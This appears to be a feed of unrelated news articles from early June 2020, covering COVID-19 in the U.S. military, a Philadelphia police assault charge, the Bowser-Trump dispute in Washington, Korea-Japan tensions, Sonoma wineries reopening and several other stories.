According to a June 1 Facebook message from Maj. Gen. Donna Martin, commanding general of the U.S. Army Maneuver Support Center of Excellence and Fort Leonard Wood, 500 trainees of the 1st Battalion, 48th Infantry Regiment, were tested on arrival at the installation before entering a 14-day mandated isolation. All tests were negative, she said.

But at the end of the quarantine, a soldier became symptomatic for the novel coronavirus and, when the group was retested, 70 were confirmed positive -- many with no symptoms, Martin said.

Pentagon officials in March announced that the services would stop releasing COVID-19 case numbers out of concern for operational security, but Martin said she issued the message to fulfill a promise to "communicate as conditions warranted," and an exception was made.

"This is a scenario that we hoped would not happen, but our health care professionals, our drill sergeants, cadre and chains of command have absolutely responded in a swift, precise manner," she said.

The total number of cases treated within the DoD since the outbreak began -- including active-duty personnel, civilians, dependents and contractors -- was 10,462 Friday, an increase of 10.7% in a week.

The number of uniformed personnel diagnosed with COVID-19 was 7,029, including 1,815 for the Army, 571 for the Air Force, 589 for the Marine Corps, and 2,546 in the Navy. The Navy saw its slowest growth in cases in weeks, increasing just 6.2% over seven days. Only the National Guard Bureau saw a lower rate -- 1,373 cases on Friday, a rise of 4.7% from the previous week.

Of the 1.2 million active-duty military personnel, one has died -- Aviation Ordnanceman Chief Petty Officer Charles Robert Thacker Jr., who was assigned to the aircraft carrier Theodore Roosevelt.

An Army National Guard physician assistant and Army Reserve member also have died. The remaining deaths within the DoD include 19 civilian employees, nine contractors and 5 dependents.

As the pandemic swept across the United States, the military's handling of it came under fire from some service members and their families, who questioned whether decisions to continue training, allow gyms to remain open and work in offices were the wisest approach to containing the disease.

But after several weeks of allowing individual commands to make decisions on the measures taken to inhibit the spread of COVID-19, the Pentagon issued a stop-movement order for troops March 15; elevated the force health protection levels March 25, restricting base access for many; and mandated the wearing of face masks aboard installations the first week of April.

Defense Secretary Mark Esper said in a May 28 Facebook Town Hall that the DoD has "fought the good fight" against the coronavirus.

"And we've been very successful. Our numbers relative to the broader population or relative to any other population have been very good," he added.

The U.S. has had the most cases of and highest number of deaths from COVID-19 in the world: Of the 6.6 million confirmed cases worldwide, 1.9 million, or 28%, have been in the U.S. The U.S. also has 28% of the world's deaths from the coronavirus -- 108,334, according to Johns Hopkins University.

The United States has roughly 5% of the world's population.

The accuracy of the testing numbers and transparency by governments across the globe has been questionable, however, as published data includes only the number of confirmed cases and deaths.

-- Patricia Kime can be reached at Patricia.Kime@Monster.com. Follow her on Twitter @patriciakime.

Related: Navy Carrier Sidelined by Virus is Back Operating in the Pacific
The Delhi government has released Rs 18.75 crore as grant-in-aid for payment of salaries to employees of 12 University of Delhi (DU) colleges funded by it, a statement said on Thursday.

The grant-in-aid was released on Wednesday and the government said it was only for payment of salaries, it said.

The Delhi University Teachers Association (DUTA) wrote a letter to Delhi Education Minister Manish Sisodia saying the grant released was inadequate and requested an appointment with him.

As per the order, with the release of this grant, units should be able to pay salaries of employees upto the month of May. We find it extremely unfortunate that there has been repeated delay in the release of grants to these colleges and as a result, employees have remained without salaries and pension for months altogether, the DUTA said. We wish to draw your immediate attention to the fact that the grants, sanctioned till date, are much less than the money required to cover salaries upto May, it said.

The grants sanctioned on May 25 were barely enough to cover salaries of January and February. Similarly, Grant-in-Aid released on May 7 could not cover salaries up to April. Most of the colleges have said they are in deficit of funds, the DUTA said.

As per this feedback, most colleges may not be able to pay salaries and pension upto May. Further, in the last several months, the colleges have not been able to make payments towards reimbursements, pending vacation salaries of ad-hoc teachers and arrears due to employees on account of the seventh Pay Revision, it said.

Colleges also do not have funds to pay for electricity bills, property tax and general maintenance, the DUTA said.

The 12 colleges are in dire need of the additional funds necessary for development of infrastructure development for smooth academic and administrative functioning, it added.

DUTA requested for the urgent release of adequate grants to cover all pending dues, including salaries, reimbursements and arrears due to employees.

There has been a standoff between the Delhi government and the DU administration over the issue of the formation of governing bodies in colleges partially or fully funded by the former.
After two and a half months of strictly takeout food and drink, the arrival of June brings us slightly closer to "normal." Soon, we'll be able to eat outside at restaurants, shop for clothes in an actual store, and even take an outdoor yoga class.

But, before all of that happens (tentatively on June 15th), we can at least have a toast at Sonoma County wineries, which are opening to visitors again. Seriously, how much could we all use some bucolic scenery and a great glass of wine?

Of course, nothing is quite the same nowadays and visiting a winery is no exception. Don't even think about showing up without a reservation or a mask to wear while you aren't drinking, and know that tastings are currently only allowed when served with fooda curveball for wineries that don't have kitchens, not that cheese, charcuterie, and nuts are anything less than perfect pairings. You and your party will definitely be sitting outside; take it as a bonus, this is California, after all, and the settings are spectacular.

All these new requirements mean that tastings are more unique than ever, going well beyond the wine club spiel and cheese plate format. There are hikes, art tours, tasting menus, and more. As is the new rule of thumb during the Covid-19 pandemic, information and offerings can change any moment; call the winery to confirm details and make reservations before visiting.

Here are some Sonoma County wineries welcoming us back with exciting experiences outside of the tasting room.

Iron Horse Vineyards See on Instagram Iron Horse is legendary for its bubbles in Sonoma Countythis is one of the few wineries making sparkling wine in Northern California, and it's certainly one of the best. Right now, the winery is offering a flight ($30) of three sparkling wines, a single vineyard chardonnay, and a single vineyard pinot noir. Tastings are poured at picnic tables beneath the palm trees; a redwood gazebo is usually reserved for groups and bottle service. Food comes courtesy of Guerneville's Big Bottom Market, Monday through Saturday. And, as an exciting nod to normal times at Iron Horse, the Oyster Girls are back on Sundays, just like in the ole pre-pandemic days. Get your oysters and bubbles and on. // 9786 Ross Station Rd. (Sebastopol); find tasting details and make an appointment at ironhorsevineyards.com.

Jordan Winery See on Instagram The grand Alexander Valley estate reopened in May with a creative twist: Since on-property consumption wasn't allowed, guests could "buy" a hike on the property, and then take wine and food home to enjoy. Those four-mile hikes are still available for exploring the stunning 1,200 acres of vineyard, but the day now ends with a picnic and wine pairing on Jordan's terrace. For a shorter hike, reserve a 90-minute tasting and a visit to Jordan's new Chateau Block Vineyard, home to 9,352 cabernet sauvignon vines. Plus, since we're all aching to travel, Jordan had the smart idea of giving us a little afternoon trip to Paris. "Paris on the Terrace" alfresco lunches begin on June 18th, with guests seated at well-spaced bistro tables under the welcoming shade of oak trees (Jordan is inspired by a French chateau, after all). // 1474 Alexander Valley Rd. (Healdsburg); make reservations at jordanwinery.com.

Zo Wines Contactless tasting is the new normal at this Dry Creek Valley producer where everything is hands-off. At Zo Wines, you'll pour your own tastes of five wines into a disposable glass that can be taken home; enjoy a self-guided vineyard hike via an online map; and catch the wine club speech via YouTube video. The wines are superb, and the setting just outside central Healdsburg is postcard-perfect. // 3232 Dry Creek Rd. (Healdsburg); book your experience at zowines.com.

Ram's Gate Winery At the southern edge of Sonoma County, Ram's Gate has always been a Bay Area favorite for its panoramic views and stellar pinot noir and chardonnaynot to mention that its location is as convenient as it gets from San Francisco. The winery has also carved out a niche in recent years for its strong culinary program. While the regular tasting includes the usual cheese, charcuterie, and olive suspects, the real fun comes via executive chef Stacey Combs' seasonal food pairings with three premier wines from Ram's Gate. The pairing is $105, and of course comes with vistas from the winery's pond to the sweeping plains and vineyards. // 28700 Arnold Dr. (Sonoma); reservations may be made at exploretock.com; ramsgatewinery.com.

Bricoleur Vineyards See on Instagram You can't predict pandemics, and some wineries just happened to be on course to open in Spring 2020. So, as much as we love to revisit our favorite wineries, it's also important to welcome the newcomers during these difficult days. Bricoleur's impressive new culinary/tasting/event space, the Winery Barn, opened in May and was forced to make its debut with takeout only. Now, the estate chardonnay and pinot noirplus varieties including viognier and zinfandelcan be enjoyed with sunshine and food courtesy of executive chef Shane McAnelly, who hails from two of Healdsburg's top restaurants, Chalkboard and The Brass Rabbit. // 7394 Starr Rd. (Windsor); for more info and reservations, go to bricoleurvineyards.com.

Benovia Winery When it comes to magnificent Wine Country settings, it's pretty hard to beat hanging out on the deck of Benovia's Ranch House overlooking the acclaimed Martaella Vineyard, on the outskirts of Santa Rosa. All tastings here let you soak up the sun while gazing out at those celebrated vines. The winery makes particularly noteworthy chardonnay and pinot noir, which are considered some of the finest in the Russian River Valley, but don't miss the Sonoma Mountain grenache, either. // 3339 Hartman Rd. (Santa Rosa); for details, go to benoviawinery.com.

The Donum Estate Circle of Animals/Zodiac Heads by Ai Weiwei Robert Berg With more than 40 magnificent sculptures by the likes of Doug Aitken, Tracey Emin, Jaume Plensa, and Ai Weiwei, this glitzy Carneros-area winery moonlights as one of the finest open-air art museums in the Bay Area. For some social distancing fresh air and culture, Donum is offering guided walks by appointment for $50 per person. With no kitchen on-site, there is no food offered, which presently means there's no wine either. Don't worry, there is plenty of terrific Donum pinot noir and chardonnay to be purchased to take home afterward. // 24500 Raval Rd. (Sonoma); book your visit at thedonumestate.com.
BAKU, Azerbaijan, June 5

By Elchin Mehdiyev  Trend:

The issue of fulfilling the Azerbaijani state budget for 2019 was discussed on first reading at the meeting of the extraordinary session of the Azerbaijani parliament, Trend reports on June 5.

The state budget revenues were approved in the amount of 23.2 billion manat ($13.6 billion), expenses  24.2 billion manat ($14.2 billion) for 2019.

Some 7.7 billion manat thats $4.5 billion (31.7 percent) of budget revenues accounted for the revenues through the State Tax Service under the Ministry of Economy, 4.4 billion manat thats $2.6 billion (18.2 percent) - through the State Customs Committee, 11.4 billion manat thats $6.7 billion (46.9 percent) - for the share of the state budget transfer from the State Oil Fund of Azerbaijan, 772.9 million manat thats $454.6 million (3.2 percent) - for the share of other income including 578.9 million manat thats $340.5 million from the paid services of budgetary organizations, 182.6 million manat thats $107.4 million - from other revenues, 11.4 million manat thats $6.7 million - from revenues from the rental of state property and lands on which privatized state enterprises and facilities are located.

The state budget revenues for 2019, excluding transfers to the state budget from the State Oil Fund of Azerbaijan reached 12.8 billion manat ($7.5 billion), which is by 1.3 billion manat thats $764,705 (11.3 percent) more compared to 2018.

The state budget expenditures for 2019 were fulfilled at 24.4 billion manat thats $14.3 billion (97 percent) compared to the predicted figure worth 25.2 billion manat ($14.8 billion), which is by 1.7 billion manat thats $1 billion (7.5 percent) more compared to 2018.

The state budget expenditures worth 13.5 billion manat thats $7.9 billion (55.4 percent) were transferred for the current expenses (by 1.9 billion manat thats $1.1 billion or 17.1 percent more compared to 2018), 9.4 billion manat thats $5.5 billion (38.4 percent) - for main expenses (by 430.6 million manat thats $253.3 million or 4.8 percent more compared to 2018), 1.5 billion manat thats $882,352 (6.2 percent) - for expenses associated with the service on public debt and obligations in 2019.

Some 31.8 percent (7.8 billion manat thats $4.6 billion) of the state budget expenditures for 2019 were transferred to finance the social expenses, which is 564.8 million manat thats $332.2 million (7.8 percent) more compared to 2018.

Following the discussions, the issue was put to the vote and approved in the first reading.
Well-known Texas pastor, Manson B. Johnson II, dies of coronavirus

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Manson B. Johnson II, a beloved pastor who led the Holman Street Baptist Church in Houston, Texas, for more than 40 years, joined a growing list of Christian leaders who've died from the coronavirus. He was 71.

Johnson, who has led the church since 1977, died on Sunday morning due to complications from the coronavirus, Houston Mayor Sylvester Turner's office confirmed with the Houston Chronicle.

The church also announced Johnson's passing on its Facebook page but did not highlight his cause of death.

"It is with a heavy heart but faith in God to report Shepherd Teacher Manson B. Johnson has transitioned to his Heavenly home this morning. Our Shepherd Teacher loved serving God and God's people. We find strength in knowing that to be absent from the body is to be present with God," the church said. "At this time please keep our beautiful First Lady, his children, family, Holman Street Baptist Church family, East Side University - ESUVCLC, and the entire Houston community in your prayers."

Johnson, whose father was also a pastor and mother was a teacher, was born in Nashville, Tennessee, but grew up in Starkville, Mississippi. He moved to Texas after graduating high school to study history and government at Texas Southern University, one of the nation's largest historically black universities.

It was while at Texas Southern University that Johnson started attending Holman Street Baptist Church where he first became a youth pastor. He would become a teacher after graduating and excelled in the profession before moving to full-time ministry.

Rep. Sheila Jackson Lee, D-Texas, praised Johnson for his work with his church and his community and called him a "giant among men" in a statement on Twitter shortly after his death on Sunday.

"Houston has lost a giant among men. Pastor Manson B. Johnson was a diligent shepherd at the Holman Street Baptist Church for more than 43 years. He had a passion for truth and fought to create opportunities for vulnerable people," she began.

"He had a direct impact on providing educational and housing opportunities for the greater Third-ward area, and was a valued member of the Texas Southern University family. He remained committed to the Word of God, and his outstanding pastoral ministry," Jackson continued. "Pastor Manson B. Johnson will be greatly missed and celebrated for his invaluable visionary leadership which has enhanced the quality of life for many in the city of Houston. My deepest sympathy to his devoted wife and all of his loving children. Rest in Peace my dear friend."

The Alumni Relations Office of Texas Southern University noted in a statement on Facebook that he was a major part of the school community.

"Pastor Johnson did phenomenal things in the many years of pastoral ministry. Both his religious ministry and his community involvement speak of a man who devoted his life to the Lord and the people he served," the office noted. "His presence and perseverance in our TSU alumni ranks was consistent. His work as a TSU Foundation Board of Trustee was treasured. Pastor Johnson was the very fabric that is Texas Southern University. He will be deeply missed."
By ANI

NEW DELHI: Actor Leonardo DiCaprio on Friday said that he is donating to different organisations working on equal rights.

The 'Once Upon A Time In Hollywood' actor took to social media to make the announcement about his donations and also urged others to join him.

"I commit to listen, learn, and take action. I am dedicated to end the disenfranchisement of Black America," the Academy Award winner tweeted,

I commit to listen, learn, and take action. I am dedicated to end the disenfranchisement of Black America.



I will personally donate to the following organizations. Please join me in supporting @ColorOfChange, @fairfightaction, The @NAACP, & @eji_org. pic.twitter.com/z3sOaJ7Bqd  Leonardo DiCaprio (@LeoDiCaprio) June 5, 2020

"I will personally donate to the following organizations. Please join me in supporting @ColorOfChange, @fairfightaction, The @NAACP, & @eji_org," his tweet further read.

Leonardo joins a growing list of Hollywood celebrities who are donating to such organisations during the 'Black Lives Matter' protests in the country.

Across the country, people have been protesting against police brutality, specifically against the black community.

On May 25, 46-year old George Floyd, an African-American man died in police custody after a police officer, Derek Chauvin, knelt on his neck for at least eight minutes. His death has sparked a series of protests across the US.

Chauvin has been charged with second-degree murder by a Minnesota court.
Public Health Minister Anutin Charnvirakul visits the BioNet-Asia company, which manufactures a potential COVID-19 vaccine

In what could be the perfect picture (or, screenshot) of the spring of 2020, 12 heads of state, plus some high profile VIPs, are attending a virtual coverage hosted by the UK government today. Its about vaccines.

The event is to support GAVI (the Global Alliance for Vaccines and Immunizations), an international partnership created to help low- and middle-income governments provide vaccines for their populations at a subsidized cost. GAVI, whose budget is funded every five years, is seeking $7.4 billion to carry on its program until 2025, and the renewal could not have fallen at a more appropriate time: There may never have been another moment when vaccines where this much of a priority for every government.

Among the leaders attending are Justin Trudeau of Canada, Shinzo Abe of Japan, Erna Solberg of Norway, Giuseppe Conte of Italy, Boris Johnson of the UK, Sahle-Work Zewde of Ethiopia, and Sheikh Hasina of Bangladesh. Theyre joined by Bill Gates, UNICEF director Henrietta Fore, and GlaxoSmithKlines CEO Emma Walmsley.

The number of global leaders in attendance speaks to their eagerness to publicly support global vaccine coverage. The reason is simple: the only solution to a pandemic is global cooperation between health systems.

Covid-19 anywhere is Covid-19 everywhere, Melinda Gates told Quartz. We are a global community. The Bill and Melinda Gates Foundation pledged $1.6 billion for GAVIs main budget, as well as an additional $100 million specifically to purchase Covid-19 vaccines when available.

But its not so much generosity that seems to have moved these countries to come together, but rather the understanding that their own health is interlinked with the health of others.

For years, the refrain of global health professionals has been that investing in the health systems of developing countries was going to be the safest insurance against a pandemic, even for rich countries. Coronavirus has provided very tangible evidence to support that theory. Thus, equitable access to vaccines in poor countries is essential for the health of rich ones, too.

Story continues

[Coronavirus] has hit so close to home; we never had a time in the world where weve all been sheltering in place, Gates said. I think many of the global leaders are seeing it in their own communities. Theyre seeing it in their own countries, quite frankly, theyre seeing it in their own family.

While it has shown all the vulnerability of an interconnected world, Covid-19 is another reminder global threats cant be solved locally: The virus likely wont disappear, even with a vaccine, until it can circulate amongst non-vaccinated populations.

GAVI is only one example of the power of international responses. Another would be the Center for Epidemic Preparedness (CEPI), an initiative involving several governments, including Australia, Mexico, the UK, Japan, and Ethiopia, together with private donors and foundations, to invest in the search of treatments for emerging diseases. CEPI is currently funding research for nine different vaccines for Covid-19.

After a political season where countries around the world chose movements that fomented anti-international sentiment and the strengthening of bordersBrexit; the growth of xenophobic populism in France, Italy, and Germany; the USs anti-immigration platforma newfound interest in international cooperation seems to be emerging.

This collaboration, for instance, is showing world leaders it isnt enough for vaccines to eventually be accessible for everyone, but there needs to be global coordination in how they are deployed. Protecting vulnerable populations everywhere, for instance, is more important than protecting the entire population in one country. We start with the 60 million healthcare workers, Gates said, and then you start tiering to your most vulnerable populations in all the countries around the world.

There is, of course, an important exception to the re-embrace of multilateralismthe US. As other countries pull together, and seek global coordination, president Donald Trump announced he was pulling out of the World Health Organization (WHO). Although so far its been a merely symbolic act, with no legal action taken yet, it is in remarkable contrast with the actions of other leaders.

[The WHO] is not a perfect institution by any means, but you dont pull out of it in the middle of a pandemic; thats what its set up for Gates said.

Pretty much all other leaders in the world, she said, as well as the US Congress, are seeing the need for collaboration. Youve got one outlier in this conversation right now, she said.

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District of Columbia Mayor Muriel Bowser and Donald Trump were engaged in an escalating contest over control of Washington streets when the email from a military planner set off new alarms in the mayors office.

The official was seeking guidance on Wednesday afternoon for the US Northern Command in determining route restrictions for the movement of tactical vehicles and military forces from Fort Belvoir, Virginia, into the city to assist in Civil Disturbance Operations.

To Ms Bowsers aides, the request smacked of an imminent escalation in the federal force Mr Trump had marshalled to quell the large street demonstrations over police brutality near the White House  the centrepiece of his bid to project the image of a strong leader who would establish law and order where local leaders had failed across the nation. Days earlier, Mr Trump had falsely accused Ms Bowser, a Democrat, in a tweet of refusing to allow District police to assist in crowd control in Lafayette Square.

The last time they asked us about that was in preparation to move tanks to the city for the Fourth of July celebration last summer, said one District government official, speaking on the condition of anonymity to discuss the private request. We dont want it to happen.

A Defence Department official played down the email query as due diligence in case such forces are needed and said the vehicles in question are Humvees and personnel carrier trucks similar to those that already have been used in the city this week.

But the episode highlighted the escalating tensions and deepening distrust between Ms Bowser and Mr Trump, who has maintained a deep remove from local city life and has not established more than cursory relationships with city leaders.

In responding to the unrest, Ms Bowser has generally deferred to the District police department, which has more training and experience than other city police forces in managing large protests that take place regularly in the nations capital. She has tried to balance support for peaceful demonstrators with a forceful denunciation of those who have looted businesses, whom she cast as outsiders even though most arrested are from the Washington region.

In a news conference on Thursday, Ms Bowser said she was alarmed by the growing presence of federal security authorities in the city and declared she wants federal troops from out of state kept out of the District. She also expressed concern that the Trump administrations move to extend security barriers beyond the White House perimeter to encircle Lafayette Square, closing it to the public, could become permanent.

Keep in mind thats the peoples house, she said. Its a sad commentary that the [White] House and its inhabitants have to be walled off.

The remarks were an amplification of her scathing reply to Mr Trumps false criticism about her performance days earlier. In a tweet of her own, Mr Bowser mocked Mr Trump  who had warned protesters of vicious dogs and ominous weapons guarding the White House  as hiding behind his fence afraid/alone.

There is just a scared man, she wrote of the presidents bluster.

Mr Trumps aides have fired back. On Fox News this week, White House press secretary Kayleigh McEnany criticised Ms Bowsers befuddling actions, citing the mayors decision to implement an 11 pm curfew on Sunday as really not tough enough. A fire had broken out at St Johns Episcopal Church, a block from the White House, before the curfew began.

People gather in the rain outside of the White House for a peaceful protest against police brutality (Getty)

Ms Bowser called for a 7 pm curfew on Monday and Tuesday.

Unfortunately, the mayor did not provide early leadership to ensure peaceful protests and prevent riots and violence as demonstrated by the arson to St Johns Church, defacing of national monuments, and destruction of several Covid-19 testing sites in vulnerable communities, forcing the president to take necessary action to restore law and order, White House spokesman Judd Deere said in a statement.

In recent days, the two have engaged in a series of contrasting public appearances. The morning after the church fire, Ms Bowser showed up at Lafayette Square to survey the damage and speak to reporters; that evening, Mr Trump strode through the park with senior aides after Attorney General William Barr ordered police to forcibly clear protesters with chemical gas and rubber bullets.

Mr Trump posed for news photographs holding a Bible in front of the church, without going inside. Ms Bowser, a practising Catholic, joined protesters in prayer on Wednesday.

Mr Trumps increasingly fraught relationship with Ms Bowser is emblematic of his eagerness to escalate political confrontations with Democratic state and local leaders, casting their jurisdictions as dangerous, dirty and poorly managed. But the tensions are amplified in the District by its unique status as a federal city whose local officials have long chafed over a lack of congressional representation and the federal governments oversight of its spending decisions.

For decades, Republicans, including Mr Trump, have opposed efforts to grant the city, which is majority Democratic, congressional voting rights. District officials said Trump administration officials this week raised the prospect of a federal takeover of the citys police department amid the protests, a move Ms Bowser firmly opposed.

The problem we have here is: Who is in charge?  said delegate Eleanor Holmes Norton, D-D.C.

Trump aides pointed to Ms Bowsers inclusion in a series of calls the president has held with governors over the coronavirus pandemic and communication directly between the two in managing the outbreak as evidence of Mr Trumps cooperation with city leaders.

Until this week, Mr Trump and Ms Bowser maintained a cool but not overly strained relationship, at least by the standards of the combative president. Ms Bowser visited him at Trump Tower in New York during the transition after his election in 2016, and a few months later, in March 2017, he asked her to brief him in the Oval Office about the citys preparations for a brewing snowstorm.

The meeting perplexed local officials, who said such conversations typically took place between city and federal management agencies, and the storm sprinkled a modest 2.5 inches on the city.

Ms Bowser has largely refrained from publicly attacking the president beyond registering the usual Democratic objections to his actions  and Mr Trump has not tagged her with a demeaning nickname, as he has with other political foils. She has focused her toughest criticism on matters directly involving the city, such as when the federal government did not fully reimburse the District government for the costs of providing security at Mr Trumps inauguration.

Before the unrest related to the death of George Floyd after he was arrested by Minneapolis police officers last week, their highest-profile clash came over Mr Trumps desire for a military parade in 2018.

Mr Trump blamed local politicians for foiling his plans over high costs, which Ms Bowser pegged at $21m (16.5m) but the Pentagon put at $92m (72.6m). Ms Bowser fired back with a tweet describing herself as the local politician who finally got thru to the reality star in the White House  a dust-up she touted on campaign mailers that fall as she cruised to re-election.

Unlike past presidents, Mr Trump has not visited a city school or eaten at a local restaurant other than the steakhouse at the Trump International Hotel, a few blocks from the White House.

Before his photo-op outside St Johns this week, he had visited city churches five times, including three visits to St Johns, according to Mark Knoller, a White House correspondent for CBS News Radio who keeps records of presidential outings. Barack Obama, by comparison, visited District churches 16 times in his first term, including nine visits to St Johns.

On the weekends, Mr Trump has regularly left town for his resorts in Florida, Virginia and New Jersey.

Youve got President Obama, who had a very close relationship with the city and would go to restaurants and take walks without tear gas and flash bombs outside the White House, said Bo Shuff, executive director of DC Vote, which advocates for statehood. Yet Trump is more financially invested in the city than any other president has been in the past based on the hotel.

During Ms Bowsers news conference on Thursday, a reporter expressed frustration trying to distinguish between federal and local police during the protests.

I just hope that you take some of that frustration and channel it into coverage of DC statehood and why we need to be autonomous, Bowser said. Im looking forward to that.

The Washington Post
UPSC Civil Services Prelims 2020: Union Public Service Commission, or UPSC, will release the fresh schedule for UPSC civil services preliminary examination 2020 today on its official website. Candidates can check the revised schedule after it is released online at upsc.gov.in.

Earlier, the UPSC had scheduled to release the revised dates for civil services preliminary examination 2020 on May 20 which was then postponed.

Also Read: UPSC Prelims 2020 Revised schedule released at upsc.gov.in, check it here

With a view to giving some clarity to candidates of various examinations and interviews, which have been deferred over the last two months, the Commission will issue a revised schedule of examinations in its next meeting to be held on June 5, 2020. Details of the new calendar of examinations will be published on the UPSC website, after the Commissions meeting on June 5, 2020, the official notice reads.

Initially, the UPSC civil services prelim examination was scheduled to be conducted on May 31 but was postponed due to the Covid-19 pandemic.

Over seven lakh candidates register for the UPSC prelims every year and it is considered one of Indias most desired examinations. This year around 10 lakh aspirants have registered for the UPSC prelims examination.
Foreign Minister Kang Kyung-wha, left, and her Japanese counterpart Toshimitsu Motegi / Korea Times file



By Kang Seung-woo



Fractious relations between Korea and Japan are likely to turn hostile as Seoul has taken countermeasures against Tokyo's export restrictions and refusal to comply with Korean court rulings regarding certain companies' use of Korean forced laborers, raising speculations that the Japanese government could respond with economic retaliation.



According to the legal representatives for four Korean plaintiffs Wednesday, the Pohang branch of Daegu District Court in North Gyeongsang Province, Monday, made public a notification of the court's ruling made last year on seizing the Korean assets of Japanese steelmaker Nippon Steel and Sumitomo Metal Corp. which benefitted from the use forced labor during WWII. The delivery of public notice will go into effect Aug. 4.



In October 2018, the Supreme Court ordered the Japanese firm to pay 100 million won ($82,000) in compensation to four Koreans for their forced labor, but it refused to comply with the ruling and the plaintiffs requested an asset seizure, which was approved by the court in Pohang.



Alongside the legal procedure, the Korean government, frustrated by the Japanese government's refusal to lift its trade curbs against the country, has decided to reopen a complaint filed with the World Trade Organization (WTO).



Last July, the Shinzo Abe administration abruptly imposed export restrictions on Korea in an apparent retaliation for the forced labor rulings. In response, the Moon Jae-in government threatened to take the issue to the WTO and scrap a bilateral military intelligence-sharing agreement  although both plans have been temporarily suspended after months of pressure from the U.S. government.



Amid the intensifying diplomatic feud between the neighbors, the foreign ministers of both sides held a 40-minute phone conversation to bridge their differences over the issues, Wednesday, during which they did find that the two sides still remained far apart.



Foreign Minister Kang Kyung-wha expressed regret to her Japanese counterpart Toshimitsu Motegi over Japan's failure lift the export curbs, urging him to swiftly remove the restrictions.



Motegi countered, saying that Korea's WTO decision would not be helpful to resolving the nations' differences. He also warned Kang that the assets should not be liquidated as this would lead to a serious situation.



Japan's top government spokesman Yoshihide Suga said, Thursday, the government would respond to the issue with every option on the table.



Japan claims that the issue of compensation was settled in the 1965 state-to-state pact on normalizing diplomatic relations.



According to Japanese media outlets, the Japanese government is reviewing its retaliatory measures in the event of the court-ordered liquidation of Japanese firms' assets such as seizing and liquidating assets of Korean companies there or imposing tariffs on Korean imports.
A high-ranking Philadelphia police official will be charged with assault after video surfaced of him beating a Temple University student with a baton during a protest Monday along the Benjamin Franklin Parkway, District Attorney Larry Krasner said Friday.

Krasner, who days earlier had declined to prosecute the student, said Staff Inspector Joseph Bologna Jr. will face counts of felony aggravated assault, reckless endangerment, and possession of an instrument of crime  his police baton.

Bologna, a 31-year veteran of the force, was removed from street duty and had his gun taken away Thursday evening, according to police sources.

 READ MORE: Police just went nuts: Charges dropped after video surfaces of police beating student, other protesters with batons

The move came just hours after Police Commissioner Daniele Outlaw had pledged a more thorough and methodical Internal Affairs investigation with results that might not be known for some time.

Krasner, in contrast, decided to move more swiftly.

We are trying to be fair, he said in a statement. Accountability has to be equal, and this moment demands a swift and evenhanded response to violent and criminal acts.

Later, Outlaw said she had not been made privy to the entirety of the information that led to Mr. Krasners decision" and that the Police Departments investigation would continue.

 READ MORE: Read the criminal complaint charging Philly police inspector Joseph Bologna with assaulting a protester

John McNesby, head of the citys police union, came to Bolognas defense, calling him one of the citys most decorated and respected police leaders who had to make a split-second call in a chaotic situation.

He condemned Krasner as rushing to judgment and questioned the number of protesters arrested for allegedly assaulting officers who have been released from jail as prosecutors declined to pursue cases against them.

Why are officers not afforded those same basic rights?" McNesby asked in a statement.

By Friday evening, talk was circulating about a blue flu," or organized move by officers to call in sick in solidarity with Bologna, as another round of demonstrations, with crowds anticipated in the thousands, was set to take place Saturday in central Philadelphia. Command staff warned that such a move would only put other officers at risk.

While it may feel good and provide satisfaction in the moment, [it] will only lead to the potential of other officers and supervisors being seriously injured, Capt. Christine McShea of the 16th District in West Philadelphia wrote in an email to her staff. While it may feel like punishment to the administration, it really only punishes other officers.

Bologna did not respond to a request for comment before he was charged on Friday. He told WHYY, Right now, Im handling operations from the office," but declined to elaborate.

The Inquirer reported Thursday afternoon that charges against Evan Gorski, 21, a Temple engineering student, were dropped after Krasner reviewed evidence that included video of Gorskis Monday encounter with Bologna during demonstrations over the killing of George Floyd at the hands of Minneapolis police.

Gorskis attorney, R. Emmett Madden, said he had been told by court personnel that Gorski was being held on allegations that he assaulted a police officer by pushing him off a bike, causing the officer to break a hand. In the video, Gorski  with a ponytail and wearing an Eagles jersey  is seen briefly attempting to separate an officer and a protester, but immediately retreats when Bologna raises his baton.

The video shows Bologna then striking Gorski sharply on or near his head and tackling him, while another officer presses Gorskis face to the pavement by placing his knee on the back of his head and neck. Madden said Gorski required medical treatment.

Other video clips have since emerged on social media showing Bologna involved in similarly aggressive behavior toward people protesting oppressive policing.

One video shows him on Sunday lunging at a TV reporter and striking a security guard. In another from Tuesday, Bologna throws his bike and tackles a woman who had apparently tapped its tire while protesting at 10th and Market Streets, immediately causing tensions to flare between police and protesters.

The man I saw that night, even before his run-in with that young woman, was obviously pushed to his limit," said Dominic Carullo, 36, a grad student who was at the march. "Hyper-vigilant, reactive, angry, and dangerous.

 READ MORE: Philly police commissioner launches investigations over use of force as protests in city continue

At a news conference Friday, Outlaw acknowledged that Bologna is one of several officers under investigation after videos on social media depict them using force during this weeks protests in a manner that does not appear to be in accord with our policy.

She called the videos of Bologna particularly troubling because they appeared to show him striking someone above the neck  a use of force that could be potentially lethal.

I am deeply concerned about this, she said. I assure you that each of these investigations will be conducted in a thorough and objective manner without undue delay.

 READ MORE: Philly police chief Danielle Outlaw to cops: Dont block your badge numbers

Speaking before Krasner announced that he would charge the officer, Outlaw said it was too early to conclude that Bologna had crossed a line.

The videos provide just one snapshot of what happened, she said. An investigation will tell us what led up to that, will give us the circumstances around it, once we have the opportunity to interview the inspector himself to find out what he was thinking at the time he made the decision to use force. Its not just cut and dried.

Contacted later, a police spokesperson declined to say how many officers had been pulled from their assignments pending investigations.

Staff writers Aubrey Whelan, Mike Newall, and Dylan Purcell contributed to this article.
By West Kentucky Star Staff Jun. 04, 2020 | 04:12 PM | MURRAY





The effort was organized by an employee-led "caring Committee" as part of an initiative to support and recognize local organizations that have been impacted by the ongoing pandemic.







"Weve always set aside budget to support the communities where we work and do business, however this year our team has really ramped up that effort given the many challenges that have hit our region hard. Many businesses are suffering due to quarantine measures, and our public safety and healthcare professionals are feeling more stress than ever," said president of Peel & Holland Roy Riley.







The donation was also part of a plan to support a local restaurant, The Big Apple Cafe.











Peel and Holland recently donated meals to 125 employees at Murray-Calloway County Hospital.
The Pentagon has told Washington D.C.'s National Guard and guardsmen from other states who have are in the nations capital not to use guns or ammunition.

The order came from Defense Secretary Mark Esper and made without consulting the White House, The Washington Post reported, and it's seen as a sign of de-escalation of the federal response to protests that sprung up in the wake of George Floyd's death.

Trump has pushed for a strong militarized show of force, calling himself the 'law and order president,' and earning him criticism from several retired military generals, including his former chief of staff John Kelly and former Defense Secretary Jim Mattis.

The Pentagon has told Washington D.C.'s National Guard and guardsmen from other states - like these soldiers from Utah - who have are in the nations capital not to use guns or ammunition

